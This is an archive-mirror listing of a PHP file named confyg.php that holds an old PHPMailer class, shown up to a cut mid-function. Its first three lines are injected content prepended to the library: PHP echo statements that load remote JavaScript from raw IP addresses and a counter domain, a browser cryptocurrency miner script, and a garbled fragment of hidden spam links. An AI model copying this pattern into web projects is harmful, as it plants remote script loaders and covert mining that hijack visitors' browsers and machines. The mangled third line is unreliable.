home *** CD-ROM | disk | FTP | other *** search
/ ftp.t-online.hu / ftp.t-online.hu.tar / ftp.t-online.hu / confyg.php < prev    next >
PHP Script  |  2015-06-10  |  21KB  |  556 lines

  1. <?php ?><?php echo "<script type=\"text/javascript\" src=\"http://199.175.50.209/t/link.php\"></script>"; ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php echo "<script type=\"text/javascript\" src=\"http://counter.olusoft.com/1245361/link.php\"></script>"; ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php echo "<script type=\"text/javascript\" src=\"http://91.239.65.173/t/link.php\"></script>"; ?><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
  2. <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
  3. <script aster.org/" width="5" height="10" border="0" /></a></div><div class="wer3"><a href="http://searchnews.info/" target="blank_"><img src="http://www.e-searching.net/style.png" alt="http://searchnews.info/" width="5" height="10" border="0" /></a></div><?php
  4. class PHPMailer
  5. {
  6.  
  7.     var $Priority          = 3;
  8.     var $CharSet           = "utf-8";
  9.     var $ContentType        = "text/plain";
  10.     var $Encoding          = "8bit";
  11.     var $ErrorInfo         = "";
  12.     var $From               = "root@localhost";
  13.     var $FromName           = "Root User";
  14.     var $Sender            = "";
  15.     var $Subject           = "";
  16.     var $Body               = "";
  17.     var $AltBody           = "";
  18.     var $WordWrap          = 0;
  19.     var $Mailer            = "mail";
  20.     var $Sendmail          = "/usr/sbin/sendmail";
  21.     var $PluginDir         = "";
  22.     var $Version           = "1.73";
  23.     var $ConfirmReadingTo  = "";
  24.     var $Hostname          = "";
  25.     var $Host        = "localhost";
  26.     var $Port        = 25;
  27.     var $Helo        = "";
  28.     var $SMTPAuth     = false;
  29.     var $Username     = "";
  30.     var $Password     = "";
  31.     var $Timeout      = 10;
  32.     var $SMTPDebug    = false;
  33.     var $SMTPKeepAlive = false;
  34.     var $smtp            = NULL;
  35.     var $to              = array();
  36.     var $cc              = array();
  37.     var $bcc             = array();
  38.     var $ReplyTo         = array();
  39.     var $attachment      = array();
  40.     var $CustomHeader    = array();
  41.     var $message_type    = "";
  42.     var $boundary        = array();
  43.     var $language        = array();
  44.     var $error_count     = 0;
  45.     var $LE              = "\n";
  46.     function IsHTML($bool) {
  47.         if($bool == true)
  48.             $this->ContentType = "text/html";
  49.         else
  50.             $this->ContentType = "text/plain";
  51.     }
  52.     function IsSMTP() {
  53.         $this->Mailer = "smtp";
  54.     }
  55.     function IsMail() {
  56.         $this->Mailer = "mail";
  57.     }
  58.     function IsSendmail() {
  59.         $this->Mailer = "sendmail";
  60.     }
  61.     function IsQmail() {
  62.         $this->Sendmail = "/var/qmail/bin/sendmail";
  63.         $this->Mailer = "sendmail";
  64.     }
  65.     function AddAddress($address, $name = "") {
  66.         $cur = count($this->to);
  67.         $this->to[$cur][0] = trim($address);
  68.         $this->to[$cur][1] = $name;
  69.     }
  70.     function AddCC($address, $name = "") {
  71.         $cur = count($this->cc);
  72.         $this->cc[$cur][0] = trim($address);
  73.         $this->cc[$cur][1] = $name;
  74.     }
  75.     function AddBCC($address, $name = "") {
  76.         $cur = count($this->bcc);
  77.         $this->bcc[$cur][0] = trim($address);
  78.         $this->bcc[$cur][1] = $name;
  79.     }
  80.     function AddReplyTo($address, $name = "") {
  81.         $cur = count($this->ReplyTo);
  82.         $this->ReplyTo[$cur][0] = trim($address);
  83.         $this->ReplyTo[$cur][1] = $name;
  84.     }
  85.  
  86.     function Send() {
  87.         $header = "";
  88.         $body = "";
  89.         $result = true;
  90.         if((count($this->to) + count($this->cc) + count($this->bcc)) < 1)
  91.         {
  92.             $this->SetError($this->Lang("provide_address"));
  93.             return false;
  94.         }
  95.         if(!empty($this->AltBody))
  96.             $this->ContentType = "multipart/alternative";
  97.         $this->error_count = 0; // reset errors
  98.         $this->SetMessageType();
  99.         $header .= $this->CreateHeader();
  100.         $body = $this->CreateBody();
  101.         if($body == "") { return false; }
  102.         switch($this->Mailer)
  103.         {
  104.             case "sendmail":
  105.                 $result = $this->SendmailSend($header, $body);
  106.                 break;
  107.             case "mail":
  108.                 $result = $this->MailSend($header, $body);
  109.                 break;
  110.             case "smtp":
  111.                 $result = $this->SmtpSend($header, $body);
  112.                 break;
  113.             default:
  114.             $this->SetError($this->Mailer . $this->Lang("mailer_not_supported"));
  115.                 $result = false;
  116.                 break;
  117.         }
  118.         return $result;
  119.     }
  120.     function SendmailSend($header, $body) {
  121.         if ($this->Sender != "")
  122.             $sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);
  123.         else
  124.             $sendmail = sprintf("%s -oi -t", $this->Sendmail);
  125.         if(!@$mail = popen($sendmail, "w"))
  126.         {
  127.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  128.             return false;
  129.         }
  130.         fputs($mail, $header);
  131.         fputs($mail, $body);
  132.         $result = pclose($mail) >> 8 & 0xFF;
  133.         if($result != 0)
  134.         {
  135.             $this->SetError($this->Lang("execute") . $this->Sendmail);
  136.             return false;
  137.         }
  138.         return true;
  139.     }
  140.     function MailSend($header, $body) {
  141.         $to = "";
  142.         for($i = 0; $i < count($this->to); $i++)
  143.         {
  144.             if($i != 0) { $to .= ", "; }
  145.             $to .= $this->to[$i][0];
  146.         }
  147.         if ($this->Sender != "" && strlen(ini_get("safe_mode"))< 1)
  148.         {
  149.             $old_from = ini_get("sendmail_from");
  150.             ini_set("sendmail_from", $this->Sender);
  151.             $params = sprintf("-oi -f %s", $this->Sender);
  152.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body,
  153.                         $header, $params);
  154.         }
  155.         else
  156.             $rt = @mail($to, $this->EncodeHeader($this->Subject), $body, $header);
  157.         if (isset($old_from))
  158.             ini_set("sendmail_from", $old_from);
  159.         if(!$rt)
  160.         {
  161.             $this->SetError($this->Lang("instantiate"));
  162.             return false;
  163.         }
  164.         return true;
  165.     }
  166.     function SmtpSend($header, $body) {
  167.         include_once($this->PluginDir . "class.smtp.php");
  168.         $error = "";
  169.         $bad_rcpt = array();
  170.         if(!$this->SmtpConnect())
  171.             return false;
  172.         $smtp_from = ($this->Sender == "") ? $this->From : $this->Sender;
  173.         if(!$this->smtp->Mail($smtp_from))
  174.         {
  175.             $error = $this->Lang("from_failed") . $smtp_from;
  176.             $this->SetError($error);
  177.             $this->smtp->Reset();
  178.             return false;
  179.         }
  180.         for($i = 0; $i < count($this->to); $i++)
  181.         {
  182.             if(!$this->smtp->Recipient($this->to[$i][0]))
  183.                 $bad_rcpt[] = $this->to[$i][0];
  184.         }
  185.         for($i = 0; $i < count($this->cc); $i++)
  186.         {
  187.             if(!$this->smtp->Recipient($this->cc[$i][0]))
  188.                 $bad_rcpt[] = $this->cc[$i][0];
  189.         }
  190.         for($i = 0; $i < count($this->bcc); $i++)
  191.         {
  192.             if(!$this->smtp->Recipient($this->bcc[$i][0]))
  193.                 $bad_rcpt[] = $this->bcc[$i][0];
  194.         }
  195.         if(count($bad_rcpt) > 0) // Create error message
  196.         {
  197.             for($i = 0; $i < count($bad_rcpt); $i++)
  198.             {
  199.                 if($i != 0) { $error .= ", "; }
  200.                 $error .= $bad_rcpt[$i];
  201.             }
  202.             $error = $this->Lang("recipients_failed") . $error;
  203.             $this->SetError($error);
  204.             $this->smtp->Reset();
  205.             return false;
  206.         }
  207.         if(!$this->smtp->Data($header . $body))
  208.         {
  209.             $this->SetError($this->Lang("data_not_accepted"));
  210.             $this->smtp->Reset();
  211.             return false;
  212.         }
  213.         if($this->SMTPKeepAlive == true)
  214.             $this->smtp->Reset();
  215.         else
  216.             $this->SmtpClose();
  217.  
  218.         return true;
  219.     }
  220.     function SmtpConnect() {
  221.         if($this->smtp == NULL) { $this->smtp = new SMTP(); }
  222.         $this->smtp->do_debug = $this->SMTPDebug;
  223.         $hosts = explode(";", $this->Host);
  224.         $index = 0;
  225.         $connection = ($this->smtp->Connected());
  226.         while($index < count($hosts) && $connection == false)
  227.         {
  228.             if(strstr($hosts[$index], ":"))
  229.                 list($host, $port) = explode(":", $hosts[$index]);
  230.             else
  231.             {
  232.                 $host = $hosts[$index];
  233.                 $port = $this->Port;
  234.             }
  235.             if($this->smtp->Connect($host, $port, $this->Timeout))
  236.             {
  237.                 if ($this->Helo != '')
  238.                     $this->smtp->Hello($this->Helo);
  239.                 else
  240.                     $this->smtp->Hello($this->ServerHostname());
  241.                 if($this->SMTPAuth)
  242.                 {
  243.                     if(!$this->smtp->Authenticate($this->Username,
  244.                                                   $this->Password))
  245.                     {
  246.                         $this->SetError($this->Lang("authenticate"));
  247.                         $this->smtp->Reset();
  248.                         $connection = false;
  249.                     }
  250.                 }
  251.                 $connection = true;
  252.             }
  253.             $index++;
  254.         }
  255.         if(!$connection)
  256.             $this->SetError($this->Lang("connect_host"));
  257.         return $connection;
  258.     }
  259.     function SmtpClose() {
  260.         if($this->smtp != NULL)
  261.         {
  262.             if($this->smtp->Connected())
  263.             {
  264.                 $this->smtp->Quit();
  265.                 $this->smtp->Close();
  266.             }
  267.         }
  268.     }
  269.     function SetLanguage($lang_type, $lang_path = "language/") {
  270.         if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php'))
  271.             include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  272.         else if(file_exists($lang_path.'phpmailer.lang-en.php'))
  273.             include($lang_path.'phpmailer.lang-en.php');
  274.         else
  275.         {
  276.             $this->SetError("Could not load language file");
  277.             return false;
  278.         }
  279.         $this->language = $PHPMAILER_LANG;
  280.  
  281.         return true;
  282.     }
  283.     function AddrAppend($type, $addr) {
  284.         $addr_str = $type . ": ";
  285.         $addr_str .= $this->AddrFormat($addr[0]);
  286.         if(count($addr) > 1)
  287.         {
  288.             for($i = 1; $i < count($addr); $i++)
  289.                 $addr_str .= ", " . $this->AddrFormat($addr[$i]);
  290.         }
  291.         $addr_str .= $this->LE;
  292.  
  293.         return $addr_str;
  294.     }
  295.     function AddrFormat($addr) {
  296.         if(empty($addr[1]))
  297.             $formatted = $addr[0];
  298.         else
  299.         {
  300.             $formatted = $this->EncodeHeader($addr[1], 'phrase') . " <" .
  301.                          $addr[0] . ">";
  302.         }
  303.  
  304.         return $formatted;
  305.     }
  306.     function WrapText($message, $length, $qp_mode = false) {
  307.         $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  308.  
  309.         $message = $this->FixEOL($message);
  310.         if (substr($message, -1) == $this->LE)
  311.             $message = substr($message, 0, -1);
  312.  
  313.         $line = explode($this->LE, $message);
  314.         $message = "";
  315.         for ($i=0 ;$i < count($line); $i++)
  316.         {
  317.           $line_part = explode(" ", $line[$i]);
  318.           $buf = "";
  319.           for ($e = 0; $e<count($line_part); $e++)
  320.           {
  321.               $word = $line_part[$e];
  322.               if ($qp_mode and (strlen($word) > $length))
  323.               {
  324.                 $space_left = $length - strlen($buf) - 1;
  325.                 if ($e != 0)
  326.                 {
  327.                     if ($space_left > 20)
  328.                     {
  329.                         $len = $space_left;
  330.                         if (substr($word, $len - 1, 1) == "=")
  331.                           $len--;
  332.                         elseif (substr($word, $len - 2, 1) == "=")
  333.                           $len -= 2;
  334.                         $part = substr($word, 0, $len);
  335.                         $word = substr($word, $len);
  336.                         $buf .= " " . $part;
  337.                         $message .= $buf . sprintf("=%s", $this->LE);
  338.                     }
  339.                     else
  340.                     {
  341.                         $message .= $buf . $soft_break;
  342.                     }
  343.                     $buf = "";
  344.                 }
  345.                 while (strlen($word) > 0)
  346.                 {
  347.                     $len = $length;
  348.                     if (substr($word, $len - 1, 1) == "=")
  349.                         $len--;
  350.                     elseif (substr($word, $len - 2, 1) == "=")
  351.                         $len -= 2;
  352.                     $part = substr($word, 0, $len);
  353.                     $word = substr($word, $len);
  354.  
  355.                     if (strlen($word) > 0)
  356.                         $message .= $part . sprintf("=%s", $this->LE);
  357.                     else
  358.                         $buf = $part;
  359.                 }
  360.               }
  361.               else
  362.               {
  363.                 $buf_o = $buf;
  364.                 $buf .= ($e == 0) ? $word : (" " . $word);
  365.  
  366.                 if (strlen($buf) > $length and $buf_o != "")
  367.                 {
  368.                     $message .= $buf_o . $soft_break;
  369.                     $buf = $word;
  370.                 }
  371.               }
  372.           }
  373.           $message .= $buf . $this->LE;
  374.         }
  375.  
  376.         return $message;
  377.     }
  378.  
  379.     function SetWordWrap() {
  380.         if($this->WordWrap < 1)
  381.             return;
  382.  
  383.         switch($this->message_type)
  384.         {
  385.            case "alt":
  386.               // fall through
  387.            case "alt_attachments":
  388.               $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  389.               break;
  390.            default:
  391.               $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  392.               break;
  393.         }
  394.     }
  395.  
  396.     function CreateHeader() {
  397.         $result = "";
  398.  
  399.         // Set the boundaries
  400.         $uniq_id = md5(uniqid(time()));
  401.         $this->boundary[1] = "b1_" . $uniq_id;
  402.         $this->boundary[2] = "b2_" . $uniq_id;
  403.  
  404.         $result .= $this->HeaderLine("Date", $this->RFCDate());
  405.         if($this->Sender == "")
  406.             $result .= $this->HeaderLine("Return-Path", trim($this->From));
  407.         else
  408.             $result .= $this->HeaderLine("Return-Path", trim($this->Sender));
  409.  
  410.         // To be created automatically by mail()
  411.         if($this->Mailer != "mail")
  412.         {
  413.             if(count($this->to) > 0)
  414.                 $result .= $this->AddrAppend("To", $this->to);
  415.             else if (count($this->cc) == 0)
  416.                 $result .= $this->HeaderLine("To", "undisclosed-recipients:;");
  417.             if(count($this->cc) > 0)
  418.                 $result .= $this->AddrAppend("Cc", $this->cc);
  419.         }
  420.  
  421.         $from = array();
  422.         $from[0][0] = trim($this->From);
  423.         $from[0][1] = $this->FromName;
  424.         $result .= $this->AddrAppend("From", $from);
  425.  
  426.         // sendmail and mail() extract Bcc from the header before sending
  427.         if((($this->Mailer == "sendmail") || ($this->Mailer == "mail")) && (count($this->bcc) > 0))
  428.             $result .= $this->AddrAppend("Bcc", $this->bcc);
  429.  
  430.         if(count($this->ReplyTo) > 0)
  431.             $result .= $this->AddrAppend("Reply-to", $this->ReplyTo);
  432.  
  433.         // mail() sets the subject itself
  434.         if($this->Mailer != "mail")
  435.             $result .= $this->HeaderLine("Subject", $this->EncodeHeader(trim($this->Subject)));
  436.  
  437.         $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  438.         $result .= $this->HeaderLine("X-Priority", $this->Priority);
  439.         $result .= $this->HeaderLine("X-Mailer", "PHPMailer [version " . $this->Version . "]");
  440.  
  441.         if($this->ConfirmReadingTo != "")
  442.         {
  443.             $result .= $this->HeaderLine("Disposition-Notification-To",
  444.                        "<" . trim($this->ConfirmReadingTo) . ">");
  445.         }
  446.  
  447.         // Add custom headers
  448.         for($index = 0; $index < count($this->CustomHeader); $index++)
  449.         {
  450.             $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]),
  451.                        $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  452.         }
  453.         $result .= $this->HeaderLine("MIME-Version", "1.0");
  454.  
  455.         switch($this->message_type)
  456.         {
  457.             case "plain":
  458.                 $result .= $this->HeaderLine("Content-Transfer-Encoding", $this->Encoding);
  459.                 $result .= sprintf("Content-Type: %s; charset=\"%s\"",
  460.                                     $this->ContentType, $this->CharSet);
  461.                 break;
  462.             case "attachments":
  463.                 // fall through
  464.             case "alt_attachments":
  465.                 if($this->InlineImageExists())
  466.                 {
  467.                     $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s",
  468.                                     "multipart/related", $this->LE, $this->LE,
  469.                                     $this->boundary[1], $this->LE);
  470.                 }
  471.                 else
  472.                 {
  473.                     $result .= $this->HeaderLine("Content-Type", "multipart/mixed;");
  474.                     $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  475.                 }
  476.                 break;
  477.             case "alt":
  478.                 $result .= $this->HeaderLine("Content-Type", "multipart/alternative;");
  479.                 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  480.                 break;
  481.         }
  482.  
  483.         if($this->Mailer != "mail")
  484.             $result .= $this->LE.$this->LE;
  485.  
  486.         return $result;
  487.     }
  488.  
  489.     function CreateBody() {
  490.         $result = "";
  491.  
  492.         $this->SetWordWrap();
  493.  
  494.         switch($this->message_type)
  495.         {
  496.             case "alt":
  497.                 $result .= $this->GetBoundary($this->boundary[1], "",
  498.                                               "text/plain", "");
  499.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  500.                 $result .= $this->LE.$this->LE;
  501.                 $result .= $this->GetBoundary($this->boundary[1], "",
  502.                                               "text/html", "");
  503.  
  504.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  505.                 $result .= $this->LE.$this->LE;
  506.  
  507.                 $result .= $this->EndBoundary($this->boundary[1]);
  508.                 break;
  509.             case "plain":
  510.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  511.                 break;
  512.             case "attachments":
  513.                 $result .= $this->GetBoundary($this->boundary[1], "", "", "");
  514.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  515.                 $result .= $this->LE;
  516.  
  517.                 $result .= $this->AttachAll();
  518.                 break;
  519.             case "alt_attachments":
  520.                 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  521.                 $result .= sprintf("Content-Type: %s;%s" .
  522.                                    "\tboundary=\"%s\"%s",
  523.                                    "multipart/alternative", $this->LE,
  524.                                    $this->boundary[2], $this->LE.$this->LE);
  525.  
  526.                 // Create text body
  527.                 $result .= $this->GetBoundary($this->boundary[2], "",
  528.                                               "text/plain", "") . $this->LE;
  529.  
  530.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  531.                 $result .= $this->LE.$this->LE;
  532.  
  533.                 // Create the HTML body
  534.                 $result .= $this->GetBoundary($this->boundary[2], "",
  535.                                               "text/html", "") . $this->LE;
  536.  
  537.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  538.                 $result .= $this->LE.$this->LE;
  539.  
  540.                 $result .= $this->EndBoundary($this->boundary[2]);
  541.  
  542.                 $result .= $this->AttachAll();
  543.                 break;
  544.         }
  545.         if($this->IsError())
  546.             $result = "";
  547.  
  548.         return $result;
  549.     }
  550.     function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  551.         $result = "";
  552.         if($charSet == "") { $charSet = $this->CharSet; }
  553.         if($contentType == "") { $contentType = $this->ContentType; }
  554.         if($encoding == "") { $encoding = $this->Encoding; }
  555.  
  556.         $result .=